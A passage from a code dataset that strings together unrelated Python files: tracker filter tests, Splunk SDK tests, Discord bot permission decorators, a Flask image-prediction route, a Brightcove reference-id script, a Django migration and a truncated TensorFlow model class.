act_state = glmb.states[2][0]\n exp_state = np.array([995.355927676135, -4.11260562494401,\n 1447.77931434226, -11.2011621565549,\n -0.00380720670474486]).reshape((5, 1))\n\n test.assert_array_almost_equal(act_state, exp_state, decimal=1)\n\n\ndef test_STMGeneralizedLabeledMultiBernoulli():\n rng = rnd.default_rng(1)\n state_mat = np.array([[1, 0, 1, 0],\n [0, 1, 0, 1],\n [0, 0, 1, 0],\n [0, 0, 0, 1]])\n pos_bnds = np.array([[-2000, 2000],\n [-2000, 2000]])\n meas_mat = np.array([[1, 0, 0, 0],\n [0, 1, 0, 0]])\n\n proc_noise_dof = 3\n meas_noise_dof = 3\n\n proc_noise_scale = 0.01 * np.eye(4)\n meas_noise_scale = 0.5**2 * np.eye(2)\n\n filt = filters.StudentsTFilter()\n filt.set_state_mat(mat=state_mat)\n filt.set_proc_noise(mat=proc_noise_scale)\n\n filt.set_meas_mat(mat=meas_mat)\n filt.meas_noise = meas_noise_scale\n\n filt.meas_noise_dof = meas_noise_dof\n filt.proc_noise_dof = proc_noise_dof\n\n glmb = tracker.STMGeneralizedLabeledMultiBernoulli()\n glmb.filter = filt\n glmb.prob_detection = 0.98\n glmb.prob_survive = 0.99\n\n dof = 3\n mu = [np.array([-1500., 250., 0, 0]).reshape((4, 1))]\n scale = [dof / (dof - 2) * np.diag(np.array([50, 50, 10, 10]))**2]\n # scale = [np.diag(np.array([50, 50, 10, 10]))**2]\n stm0 = distributions.StudentsTMixture(means=mu, scalings=scale,\n weights=[1], dof=dof)\n mu = [np.array([-250., 1000., 0, 0.]).reshape((4, 1))]\n stm1 = distributions.StudentsTMixture(means=mu, scalings=scale,\n weights=[1], dof=dof)\n mu = [np.array([250., 750., 0, 0]).reshape((4, 1))]\n stm2 = distributions.StudentsTMixture(means=mu, scalings=scale,\n weights=[1], dof=dof)\n mu = [np.array([1000., 1500., 0, 0]).reshape((4, 1))]\n stm3 = distributions.StudentsTMixture(means=mu, scalings=scale,\n weights=[1], dof=dof)\n\n glmb.birth_terms = [(stm0, 0.02), (stm1, 0.02), (stm2, 0.03), (stm3, 0.03)]\n glmb.req_births = 5\n glmb.req_surv = 3000\n glmb.req_upd = 3000\n glmb.gating_on = False\n glmb.inv_chi2_gate = 32.2361913029694\n glmb.clutter_rate = 0.0005\n glmb.clutter_den = 1 / np.prod(pos_bnds[:, 1] - pos_bnds[:, 0])\n glmb.save_covs = True\n\n true_states = []\n for tt in range(0, 15):\n glmb.predict(time_step=tt)\n\n meas = []\n if tt == 0:\n m = np.array([-1500 + 5,\n 250 - 10, 3, 5]).reshape((4, 1))\n true_states.append(m)\n elif tt == 3:\n m = np.array([1000 - 20, 1500 + 18., -2, -6]).reshape((4, 1))\n true_states.append(m)\n elif tt == 6:\n m = np.array([-250 - 10, 1000 + 28, -8, 6]).reshape((4, 1))\n true_states.append(m)\n elif tt == 10:\n m = np.array([250 + 10, 750 - 16., 7, -3]).reshape((4, 1))\n true_states.append(m)\n\n for x in true_states:\n m = meas_mat @ x\n s_norm = rng.multivariate_normal(np.zeros(m.size),\n meas_noise_scale)\n s_norm = s_norm.reshape(m.shape)\n s_chi = rng.chisquare(meas_noise_dof)\n meas.append(m + s_norm * np.sqrt(meas_noise_dof / s_chi))\n\n for ii in range(0, len(true_states)):\n x = true_states[ii]\n s_norm = rng.multivariate_normal(np.zeros(x.size),\n proc_noise_scale)\n s_norm = s_norm.reshape(x.shape)\n s_chi = rng.chisquare(proc_noise_dof)\n x = state_mat @ x + (s_norm * np.sqrt(proc_noise_dof / s_chi))\n true_states[ii] = x\n\n num_clutt = rng.poisson(glmb.clutter_rate)\n for ii in range(0, num_clutt):\n m = pos_bnds[:, [0]] + (pos_bnds[:, [1]] - pos_bnds[:, [0]]) \\\n * rng.random((pos_bnds.shape[0], 1))\n meas.append(m)\n\n glmb.correct(meas=meas)\n glmb.prune()\n glmb.cap()\n\n glmb.extract_states()\n assert glmb.cardinality == 4, \"Cardinality does not match\"\n\n\ndef test_SMCGeneralizedLabeledMultiBernoulli():\n rng = rnd.default_rng(1)\n\n max_time = 10\n dt = 1.0\n num_parts = 1000\n sig_w = 5.0\n sig_u = np.pi / 180\n std_turn = 2 * (np.pi / 180)\n std_pos = 10.0\n prob_detection = 0.98\n prob_survive = 0.99\n\n G = np.array([[dt**2 / 2, 0, 0],\n [dt, 0, 0],\n [0, dt**2 / 2, 0],\n [0, dt, 0],\n [0, 0, 1]])\n Q = la.block_diag(sig_w**2 * np.eye(2), np.array([[sig_u**2]]))\n\n def compute_prob_detection(part_lst, **kwargs):\n if len(part_lst) == 0:\n return np.array([])\n else:\n inv_std = np.diag(np.array([1. / 2000., 1. / 2000.]))\n\n e_sq = np.sum(np.hstack([(inv_std\n @ x[[0, 2], 0].reshape((2, 1)))**2\n for x in part_lst]), axis=0)\n return prob_detection * np.exp(-e_sq / 2.)\n\n def compute_prob_survive(part_lst, **kwargs):\n if len(part_lst) == 0:\n return np.array([])\n else:\n return prob_survive * np.ones(len(part_lst))\n\n def meas_mod(state, **kwargs):\n z1 = np.arctan2(state[2, 0], state[0, 0])\n z2 = np.sqrt(np.sum(state.flatten()**2))\n return np.array([[z1], [z2]])\n\n def meas_likelihood(meas, est, **kwargs):\n cov = np.array([[std_turn**2, 0],\n [0, std_pos**2]])\n return stats.multivariate_normal.pdf(meas.copy().reshape(meas.size),\n mean=est.copy().reshape(est.size),\n cov=cov)\n\n # returns x_dot\n def f0(x, **kwargs):\n return x[1]\n\n # returns x_dot_dot\n def f1(x, **kwargs):\n return -x[4] * x[3]\n\n # returns y_dot\n def f2(x, **kwargs):\n return x[3]\n\n # returns y_dot_dot\n def f3(x, **kwargs):\n return x[4] * x[1]\n\n # returns omega_dot\n def f4(x, **kwargs):\n return 0\n\n # \\dot{x} = f(x)\n def cont_dyn(x, **kwargs):\n out = np.zeros(x.shape)\n for ii, f in enumerate([f0, f1, f2, f3, f4]):\n out[ii] = f(x, **kwargs)\n return out\n\n # x_{k + 1} = f(x_{k})\n def dyn_fnc(x, noise_on=True, **kwargs):\n ctrl = np.zeros((2, 1))\n ns = rk4(cont_dyn, x.copy(), dt, cur_input=ctrl)\n if noise_on:\n ns += G @ Q @ G.T @ rng.standard_normal(ns.shape)\n return ns\n\n means = [np.array([-1500., 0., 250., 0., 0.]).reshape((5, 1)),\n np.array([-250., 0., 1000., 0., 0.]).reshape((5, 1)),\n np.array([250., 0., 750., 0., 0.]).reshape((5, 1)),\n np.array([1000., 0., 1500., 0., 0.]).reshape((5, 1))]\n cov = np.diag(np.array([50, 50, 50, 50, 6 * (np.pi / 180)]))**2\n b_probs = [0.02, 0.02, 0.03, 0.03]\n birth_terms = []\n for (m, p) in zip(means, b_probs):\n parts = [rng.multivariate_normal(m.flatten(),\n cov).reshape(m.shape)\n for ii in range(0, num_parts)]\n weights = [1 / num_parts] * num_parts\n distrib = distributions.ParticleDistribution(particles=parts,\n weights=weights)\n birth_terms.append((distrib, p))\n\n filt = filters.ParticleFilter()\n filt.set_meas_model(meas_mod)\n filt.dyn_fnc = dyn_fnc\n filt.meas_noise = np.diag([std_turn**2, std_pos**2])\n filt.set_proc_noise(mat=G @ Q @ G.T)\n filt.meas_likelihood_fnc = meas_likelihood\n\n glmb = tracker.SMCGeneralizedLabeledMultiBernoulli()\n glmb.filter = filt\n glmb.compute_prob_detection = compute_prob_detection\n glmb.compute_prob_survive = compute_prob_survive\n glmb.prob_detection = prob_detection\n glmb.prob_survive = prob_survive\n glmb.birth_terms = birth_terms\n glmb.req_births = 5\n glmb.req_surv = 5000\n glmb.req_upd = 5000\n glmb.gating_on = False\n glmb.clutter_rate = 0.0000001 # 10\n glmb.clutter_den = 1 / (np.pi * 2000)\n\n def prop_states(k, true_states, dt, noise_on=True):\n new_states = []\n for s in true_states:\n ns = dyn_fnc(s.copy(), noise_on=noise_on)\n new_states.append(ns)\n\n wturn = 2 * np.pi / 180\n if k == 0:\n s = np.array([1000 + 3.8676, -10, 1500 - 11.7457, -10, wturn / 8])\n new_states.append(s.reshape((5, 1)))\n\n return new_states\n\n def gen_meas(true_states):\n meas = []\n for s in true_states:\n if rng.random() <= compute_prob_detection([s]):\n m = meas_mod(s)\n m += np.array([[std_turn], [std_pos]]) \\\n * rng.standard_normal(size=m.shape)\n meas.append(m)\n\n num_clutt = rng.poisson(glmb.clutter_rate)\n for ii in range(0, num_clutt):\n m = np.array([[np.pi], [2000]]) * rng.standard_normal(size=(2, 1))\n meas.append(m)\n\n return meas\n\n true_states = []\n total_true = []\n for k in range(0, max_time):\n print(k)\n true_states = prop_states(k, true_states, dt, noise_on=True)\n total_true.append(deepcopy(true_states))\n\n # generate measurements\n meas = gen_meas(true_states)\n\n # run filter\n glmb.predict(time_step=k, dt=dt)\n glmb.correct(meas=meas)\n glmb.prune()\n glmb.cap()\n\n glmb.extract_states(dt=dt)\n assert glmb.cardinality == 1, \"Cardinality does not match\"\n\n # glmb.plot_states_labels([0, 2], true_states=total_true)\n","sub_path":"test/validation/swarm_estimator/test_tracker.py","file_name":"test_tracker.py","file_ext":"py","file_size_in_byte":13657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"16304976","text":"# Copyright © 2019 Splunk, Inc.\n# Licensed under the Apache License, Version 2.0 (the \"License\"): you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at http://www.apache.org/licenses/LICENSE-2.0\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport os\nimport pytest\n\nfrom test.auth.test_auth_manager import \\\n _assert_client_credentials_auth_context, _assert_pkce_auth_context # NOQA\nfrom test.fixtures import get_auth_manager as pkce_auth_manager # NOQA\nfrom test.fixtures import get_client_auth_manager as client_auth_manager # NOQA\nfrom splunk_sdk.common.context import Context\nfrom splunk_sdk.base_client import BaseClient\nfrom splunk_sdk.identity import Identity as IdentityAndAccessControl\n\n\n@pytest.mark.usefixtures(\"pkce_auth_manager\") # NOQA\ndef test_base_client_instance_with_pkce_auth(pkce_auth_manager):\n \"\"\"Get a base client with a context and a pkce auth manager.\"\"\"\n default_config = Context()\n base_client = BaseClient(context=default_config,\n auth_manager=pkce_auth_manager)\n assert (default_config is not None)\n assert (base_client is not None)\n _assert_pkce_auth_context(base_client.auth_manager.context)\n\n\n@pytest.mark.usefixtures(\"pkce_auth_manager\") # NOQA\ndef test_base_client_hooks_with_pkce_auth(pkce_auth_manager):\n responses = []\n\n def test_hook(response, **kwargs):\n responses.append(response)\n\n pkce_auth_manager.authenticate()\n context = Context(host=os.environ.get('SPLUNK_HOST'),\n api_host=os.environ.get('SPLUNK_HOST'),\n debug=os.environ.get(\n 'SPLUNK_DEBUG', 'false').lower().strip() == 'true')\n base_client = BaseClient(context=context,\n auth_manager=pkce_auth_manager,\n requests_hooks=[test_hook])\n IdentityAndAccessControl(base_client).validate_token()\n assert len(responses) == 1\n assert responses[0].status_code == 200\n\n\n@pytest.mark.usefixtures(\"pkce_auth_manager\") # NOQA\ndef test_base_client_empty_hooks_with_pkce_auth(pkce_auth_manager):\n pkce_auth_manager.authenticate()\n context = Context(host=os.environ.get('SPLUNK_HOST'),\n api_host=os.environ.get('SPLUNK_HOST'),\n debug=os.environ.get(\n 'SPLUNK_DEBUG', 'false').lower().strip() == 'true')\n base_client = BaseClient(context=context,\n auth_manager=pkce_auth_manager,\n requests_hooks=[])\n IdentityAndAccessControl(base_client).validate_token()\n assert True\n\n\n@pytest.mark.usefixtures(\"pkce_auth_manager\") # NOQA\ndef test_base_client_no_list_hooks_with_pkce_auth(pkce_auth_manager):\n def test_hook(*args, **kwargs):\n pass\n\n with pytest.raises(TypeError):\n BaseClient(context=Context(), auth_manager=pkce_auth_manager, requests_hooks=test_hook)\n\n\n@pytest.mark.usefixtures(\"client_auth_manager\") # NOQA\ndef test_base_client_instance_with_client_auth(client_auth_manager):\n \"\"\"Get a base client with a context and a client auth manager.\"\"\"\n default_config = Context()\n base_client = BaseClient(context=default_config,\n auth_manager=client_auth_manager)\n assert (default_config is not None)\n assert (base_client is not None)\n _assert_client_credentials_auth_context(base_client.auth_manager.context)\n","sub_path":"test/test_base_client.py","file_name":"test_base_client.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"104001427","text":"#! /usr/bin/env python3\n# -*- coding:utf-8 -*-\n# -*- python -*-\n# pylint: disable=C0301\n\"\"\"Supervidor actor tests\"\"\"\n\nimport time\nimport logging\nfrom pprint import pformat\n\nimport config\nimport common as k\n\nfrom supervisoractor import SupervisorActor\n\ndef main():\n \"\"\"test only\"\"\"\n k.init_logging(level=logging.DEBUG)\n # Refresh the status every 5 seconds for testing\n k.PARAMS['refresh_period'] = 5\n supervisor_actor = SupervisorActor.start(config.SUPERVISORS[0])\n processes_names = supervisor_actor.ask(\n {'command': k.ACTOR_CMD_GET_PROCESSES_NAMES}\n )\n logging.debug('Processes names:\\n%s', pformat(processes_names))\n process_info = supervisor_actor.ask(\n {\n 'command': k.ACTOR_CMD_GET_PROCESS_INFO,\n 'process_name': processes_names[0]\n }\n )\n logging.debug('---Process info for %s ---', processes_names[0])\n logging.debug('\\n%s', pformat(process_info))\n\n logging.debug('---All processes info---')\n logging.debug('\\n%s', pformat(supervisor_actor.ask(\n {'command': k.ACTOR_CMD_GET_ALL_PROCESSES_INFO}\n )))\n time.sleep(30)\n supervisor_actor.stop()\n\nif __name__ == '__main__':\n main()\n\n# EOF\n","sub_path":"supervisoractor_test.py","file_name":"supervisoractor_test.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"408064697","text":"from discord.ext import commands\r\nfrom functools import wraps\r\nimport asyncio\r\nimport re\r\nimport discord\r\n\r\nimport Helper\r\nimport Settings\r\nimport Database\r\n\r\ndef prefix(prefix, name, min_args=0, max_args=0, alaises=[], strict=True):\r\n\tdef decorator(function):\r\n\t\tasync def runner(message, client):\r\n\t\t\t#Main\r\n\t\t\tif message.content[0:len(prefix)] == prefix:\r\n\t\t\t\tcommand = message.content.split(\" \")[0][int(len(prefix)):int(len(message.content))]\r\n\t\t\t\tif (command in alaises) or (command == name):\r\n\t\t\t\t\tif ((len(message.content.split(\" \")) >= min_args+1) and (len(message.content.split(\" \")) < max_args+1)) or not strict:\r\n\t\t\t\t\t\treturn await function(message, client)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tawait Helper.command_error(client, message, \"Incorrect amount of arguments\")\r\n\t\t\t\t\t\treturn None\r\n\t\t\t\telse:\r\n\t\t\t\t\treturn None\r\n\t\t\treturn None\r\n\t\treturn runner\r\n\treturn decorator\r\n\r\n\r\ndef raw(findStatment, alaises=[]):\r\n\tdef decorator(function):\r\n\t\tasync def runner(message, client):\r\n\t\t\tif re.match(findStatment, message.content.lower()):\r\n\t\t\t\treturn await function(message, client)\r\n\t\t\tfor alais in alaises:\r\n\t\t\t\tif re.match(alais, message.content.lower()):\r\n\t\t\t\t\treturn await function(message, client)\r\n\t\t\treturn None\r\n\t\treturn runner\r\n\treturn decorator\r\n\r\ndef args_check(position, argType):\r\n\tdef decorator(function):\r\n\t\tasync def runner(message, client):\r\n\t\t\targuments_list = message.content.split(\" \")\r\n\t\t\trelevant_argument = arguments_list[position]\r\n\r\n\t\t\tif argType == \"player\":\r\n\t\t\t\tget_player = await Helper.get_player(relevant_argument, client)\r\n\t\t\t\tif get_player != None:\r\n\t\t\t\t\tif get_player.bot == False:\r\n\t\t\t\t\t\treturn await function(message, client)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tawait Helper.command_error(client, message, \"The number {0} argument needs to be a player's name, mention or id. \\\"{1}\\\" is a bot and you cannot execute commands on bots.\".format(position, relevant_argument))\r\n\t\t\t\telse:\r\n\t\t\t\t\tawait Helper.command_error(client, message, \"The number {0} argument needs to be a player's name, mention or id. \\\"{1}\\\" is not recognized as a player.\".format(position, relevant_argument))\r\n\t\t\tif argType == \"int\":\r\n\t\t\t\tpassTest = False\r\n\t\t\t\ttry:\r\n\t\t\t\t\tinteger_value = int(relevant_argument)\r\n\t\t\t\t\tpassTest = True\r\n\t\t\t\texcept Exception as e:\r\n\t\t\t\t\tawait Helper.command_error(client, message, \"The number {0} argument needs to be an integer(number). \\\"{1}\\\" is not recognized as a integer.\".format(position, relevant_argument))\r\n\t\t\t\tif passTest:\r\n\t\t\t\t\treturn await function(message, client)\r\n\t\t\tif argType == \"string\":\r\n\t\t\t\treturn await function(message, client)\r\n\t\treturn runner\r\n\treturn decorator\r\n\r\ndef in_channel(requiredChannelID):\r\n\tdef decorator(function):\r\n\t\tasync def runner(message, client):\r\n\t\t\tif message.channel == client.get_channel(requiredChannelID):\r\n\t\t\t\treturn await function(message, client)\r\n\t\t\telse:\r\n\t\t\t\tawait Helper.command_error(client, message, \"You can only use this command in {0}.\".format(client.get_channel(requiredChannelID).mention))\r\n\t\t\t\treturn None\r\n\t\treturn runner\r\n\treturn decorator\r\n\r\ndef has_role(role_name):\r\n\tdef decorator(function):\r\n\t\tasync def runner(message, client):\r\n\t\t\tif await Helper.has_role(message.author, role_name):\r\n\t\t\t\treturn await function(message, client)\r\n\t\t\telse:\r\n\t\t\t\t#Attempt to get a mention of the role\r\n\t\t\t\trole = await Helper.get_role(client, role_name)\r\n\t\t\t\tif role != None:\r\n\t\t\t\t\tawait Helper.command_error(client, message, \"You need the role {0} to execute this command.\".format(role.mention))\r\n\t\t\t\telse:\r\n\t\t\t\t\tawait Helper.command_error(client, message, \"You need the role \\\"{0}\\\" to execute this command.\".format(role_name))\r\n\t\treturn runner\r\n\treturn decorator\r\n\r\ndef has_one_role(needed_role_names):\r\n\tdef decorator(function):\r\n\t\tasync def runner(message, client):\r\n\t\t\tfor needed_role in needed_role_names:\r\n\t\t\t\tif await Helper.has_role(message.author, needed_role):\r\n\t\t\t\t\treturn await function(message, client)\r\n\t\t\t#They need one of the roles:\r\n\t\t\trole_class = []\r\n\t\t\tfor role_name in needed_role_names:\r\n\t\t\t\trole_object = await Helper.get_role(client, role_name)\r\n\t\t\t\tif role_object != None:\r\n\t\t\t\t\trole_class.append(role_object.mention)\r\n\t\t\t\telse:\r\n\t\t\t\t\trole_class.append(role_name)\r\n\r\n\t\t\tvalid_roles = \" \".join(role_class)\r\n\r\n\t\t\tawait Helper.command_error(client, message, \"You need one of the following roles to execute this command: {0}\".format(valid_roles))\r\n\t\treturn runner\r\n\treturn decorator\r\n\r\ndef database_safe():\r\n\tdef decorator(function):\r\n\t\tasync def runner(message, client):\r\n\t\t\tif not Database.check_player_exists(message.author):\r\n\t\t\t\tDatabase.init_player(message.author)\r\n\t\t\treturn await function(message, client)\r\n\t\treturn runner\r\n\treturn decorator\r\n\r\ndef is_staff():\r\n\treturn has_one_role([\"➢Administrator\", \"➢Moderator\"])\r\n\r\ndef is_admin():\r\n\treturn has_role(\"➢Administrator\")\r\n\r\ndef has_exec_perms(player_arg_number):\r\n\tdef decorator(function):\r\n\t\tasync def runner(message, client):\r\n\t\t\t#Extract args, and the player\r\n\t\t\targs = message.content.split(\" \")\r\n\t\t\tif len(args) > player_arg_number-1:\r\n\t\t\t\tplayer_name = args[player_arg_number]\r\n\t\t\t\tplayer = await Helper.get_player(player_name, client)\r\n\t\t\t\tif player != None:\r\n\t\t\t\t\t#Check exec permissions\r\n\t\t\t\t\tplayer_perms = 0\r\n\t\t\t\t\texec_perms = 0\r\n\t\t\t\t\tif await Helper.has_role(player, \"➢Owner\"):\r\n\t\t\t\t\t\tplayer_perms = 9999999\r\n\t\t\t\t\telif await Helper.has_role(player, \"➢Administrator\"):\r\n\t\t\t\t\t\tplayer_perms = 3\r\n\t\t\t\t\telif await Helper.has_role(player, \"➢Moderator\"):\r\n\t\t\t\t\t\tplayer_perms = 2\r\n\t\t\t\t\telif await Helper.has_role(player, \"➢Assistant\"):\r\n\t\t\t\t\t\tplayer_perms = 1\r\n\r\n\t\t\t\t\tif await Helper.has_role(message.author, \"➢Owner\"):\r\n\t\t\t\t\t\texec_perms = 9999999\r\n\t\t\t\t\telif await Helper.has_role(message.author, \"➢Administrator\"):\r\n\t\t\t\t\t\texec_perms = 3\r\n\t\t\t\t\telif await Helper.has_role(message.author, \"➢Moderator\"):\r\n\t\t\t\t\t\texec_perms = 2\r\n\t\t\t\t\telif await Helper.has_role(message.author, \"➢Assistant\"):\r\n\t\t\t\t\t\texec_perms = 1\r\n\r\n\t\t\t\t\tif exec_perms > player_perms:\r\n\t\t\t\t\t\treturn await function(message, client)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tawait Helper.command_error(client, message, \"You do not have sufficient perms to execute this command on this player.\")\r\n\r\n\t\treturn runner\r\n\treturn decorator\r\n","sub_path":"Beep Boop/Checks.py","file_name":"Checks.py","file_ext":"py","file_size_in_byte":6138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"33567697","text":"import os\nfrom flask import Flask, request, render_template,url_for,Blueprint\nfrom flask_cors import CORS, cross_origin\nimport shutil\nimport models.braintumor.src.predict as predict \n#predict=__import__(\"models.brain tumor.src.predict\")\nimport cv2\nimport matplotlib.pyplot as plt\n#brainapp = Flask(__name__)\nbrainapp=Blueprint(\"brainapp\",__name__,template_folder=\"templates\",static_folder=\"static\")\n#CORS(brainapp)\n\nupload_folder=\"./models/braintumor/static\"\n\n\n@brainapp.route(\"/\", methods=[\"GET\",\"POST\"])\ndef index():\n if request.method==\"POST\":\n image_file=request.files[\"file\"]\n #print(image_file)\n if image_file:\n shutil.rmtree(upload_folder)\n os.makedirs(upload_folder)\n image_loc=os.path.join(upload_folder,image_file.filename)\n image_file.save(image_loc)\n image_name = os.path.basename(image_loc)\n image_name = image_name.split('.')[0]\n print(image_name)\n print(image_loc)\n \n # plt.imshow(cv2.imread(image_loc))\n # plt.show()\n print(upload_folder+\"/\"+image_name+\"NEW.png\")\n classifier=predict.predict_img(image_loc,image_name,upload_folder)\n classifier.predict_image()\n # plt.imshow(pred,cmap='gray')\n # plt.show()\n \n # cv2.imwrite(upload_folder+\"/\"+image_name+\"New.png\",pred)\n # print(pred.shape)\n return render_template('/btindex.html',image_loc=image_name+\"NEW.jpg\")\n return render_template('/btindex.html',image_loc=None)\n\n\n# if __name__ == '__main__':\n# brainapp.run(debug=True,port=8000)\n","sub_path":"models/braintumor/brainapp.py","file_name":"brainapp.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"312747994","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Domicilio',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)),\n ('calle', models.CharField(max_length=50)),\n ('numero', models.PositiveSmallIntegerField()),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Persona',\n fields=[\n ('dni', models.IntegerField(primary_key=True, serialize=False)),\n ('nombre', models.CharField(max_length=50)),\n ('apellido', models.CharField(max_length=50)),\n ('domicilio', models.ForeignKey(to='persona.Domicilio')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"apps/persona/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"463629607","text":"#!/usr/local/bin/python3\n# brightcove: reformat improperly formatted reference ids\n# 5/4/17\n# updated 5/5/17\n\n\nimport json\nimport pandas\nimport requests\nimport bright_brick_road\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n\ndef get_authorization_headers():\n '''\n convenience method that obtains an OAuth access token and embeds it\n appropriately in a map suitable for use with the requests HTTP library\n '''\n client_id = bright_brick_road.client_id\n client_secret = bright_brick_road.secret\n access_token_url = \"https://oauth.brightcove.com/v3/access_token\"\n # profiles_base_url = \"http://ingestion.api.brightcove.com/v1/accounts/{pubid}/profiles\".format(pubid=pub_id)\n access_token = None\n\n r = requests.post(access_token_url, params=\"grant_type=client_credentials\", auth=(client_id, client_secret), verify=False)\n\n if r.status_code == 200:\n access_token = r.json().get('access_token')\n else:\n print('could not get authorization headers')\n\n return {'Authorization': 'Bearer ' + access_token, \"Content-Type\": \"application/json\"}\n\n\ndef handle_commas(ref_id):\n id_split = ref_id.split(',')\n id_split = [item.strip() for item in id_split[:]]\n id_join = ', '.join(id_split)\n\n return id_join\n\n\ndef handle_arts(ref_id):\n id_split = ref_id.split('-')\n\n if len(id_split) < 3:\n fields = [id_split[0][:-3], 'ART', id_split[-1]]\n id_join = '-'.join(fields)\n return id_join\n else:\n return ref_id\n\n\nif __name__ == '__main__':\n pub_id = bright_brick_road.pub_id\n reformats = {}\n offset = 0\n videos = True\n\n while videos:\n url = 'https://cms.api.brightcove.com/v1/accounts/{pubid}/videos?offset={offset}'.format(pubid=pub_id, offset=offset)\n r = requests.get(url, headers=get_authorization_headers())\n vid_list = r.json()\n\n if vid_list:\n offset += 20\n\n for vid in vid_list:\n new_id = None\n ref_id = vid['reference_id']\n\n if ',' in ref_id:\n new_id = handle_commas(ref_id)\n elif 'art' in ref_id.lower():\n new_id = handle_arts(ref_id)\n\n if new_id and ref_id != new_id:\n reformats[vid['id']] = {'old': ref_id, 'new': new_id}\n\n else:\n videos = False\n\n for key in reformats.keys():\n url = 'https://cms.api.brightcove.com/v1/accounts/{pubid}/videos/{vid_id}'.format(pubid=pub_id, vid_id=key)\n data = {'reference_id': reformats[key]['new']}\n json_data = json.dumps(data)\n r = requests.patch(url, headers=get_authorization_headers(), data=json_data)\n\n if r.status_code == 200:\n print('successfully changed: {}'.format(key))\n elif r.status_code == 409:\n print('could not change: {}'.format(key))\n print('already in use: {}'.format(reformats[key]['new']))\n else:\n print('something went wrong with {}'.format(key))\n print('status_code: {}'.format(r.status_code))\n\n # find ids in reformats dict in BC_ids_in_use list from devs\n used = pandas.read_csv('ignore/BC_ids_in_use_May_02.csv')\n unused = pandas.read_csv('ignore/BC_ids_not_in_use_May_02.csv')\n\n id_list = []\n for key in reformats.keys():\n id_list.append(key)\n\n ids_in_use = []\n for value in used['ids_in_use']:\n if str(value) in id_list:\n ids_in_use.append(str(value))\n","sub_path":"brightcove/reformat_ref_ids.py","file_name":"reformat_ref_ids.py","file_ext":"py","file_size_in_byte":3565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"332319414","text":"import sys\nimport subprocess\n\ninstalled_dependencies = subprocess.run(\n [sys.executable, '-m', 'pip', 'install', '-r', 'python_dependencies.ini'],\n check=True, stdout=subprocess.PIPE).stdout.decode().strip()\nif 'Successfully installed' in installed_dependencies:\n raise Exception('Some required dependent libraries were installed. ' \\\n 'Module execution has to be terminated now to use installed libraries on the next scheduled launch.')\n\nimport json\nimport re\nfrom jsonschema import validate\nfrom onevizion import IntegrationLog, LogLevel\nfrom module import Module, ModuleError\n\nwith open('settings.json', \"rb\") as settings_file:\n settings_data = json.loads(settings_file.read().decode('utf-8'))\n\nwith open('settings_schema.json', 'rb') as settings_schema_file:\n settings_schema = json.loads(settings_schema_file.read().decode('utf-8'))\n\ntry:\n validate(instance=settings_data, schema=settings_schema)\nexcept Exception as exception:\n raise Exception(f'Incorrect value in the settings file\\n{str(exception)}') from exception\n\nonevizion_data = settings_data['onevizion']\nov_url = re.sub('^(https|http)://', '', onevizion_data['ovUrl'])\nov_access_key = onevizion_data['ovAccessKey']\nov_secret_key = onevizion_data['ovSecretKey']\n\nwith open('ihub_parameters.json', 'rb') as ihub_parameters_file:\n module_data = json.loads(ihub_parameters_file.read().decode('utf-8'))\n\nprocess_id = module_data['processId']\nlog_level = module_data['logLevel']\nmodule_name = module_data['integrationName']\n\nmodule_log = IntegrationLog(process_id, ov_url, ov_access_key, ov_secret_key, None, True, log_level)\nmodule = Module(process_id, module_name, module_log, settings_data)\nmodule.create_import_files_folder()\n\ntry:\n module.start()\nexcept ModuleError as module_error:\n module_log.add(LogLevel.ERROR, str(module_error.message), str(module_error.description))\n raise module_error\nfinally:\n module.remove_import_files()\n","sub_path":"start_module.py","file_name":"start_module.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"24900104","text":"import tensorflow as tf\nimport numpy as np\nimport os\nfrom hparams import hparams as hp\n\nclass Model():\n def __init__(self, helper, mode='train'):\n self.helper = helper\n self.mode = mode\n self.vocab_size = len(self.helper.ix_to_char)\n if self.mode == 'train':\n self.keep_prob = hp.drop_rate\n else:\n self.keep_prob = 1\n self._build_graph()\n self._init_session()\n \n def _build_graph(self):\n self.global_step = tf.Variable(0, trainable=False)\n self._initialize_placeholders()\n self._model()\n self.init = tf.global_variables_initializer()\n self.saver = tf.train.Saver(max_to_keep=3)\n\n def _initialize_placeholders(self):\n if self.mode=='train':\n self.input_seq = self.helper.input_seq\n self.input_len = self.helper.input_len\n self.target_seq = self.helper.target_seq\n self.target_len = self.helper.target_len\n else:\n self.input_seq = tf.placeholder(tf.int32, shape=(1, None))\n self.input_len = [tf.shape(self.input_seq, out_type=tf.int32)[1]]\n \n def 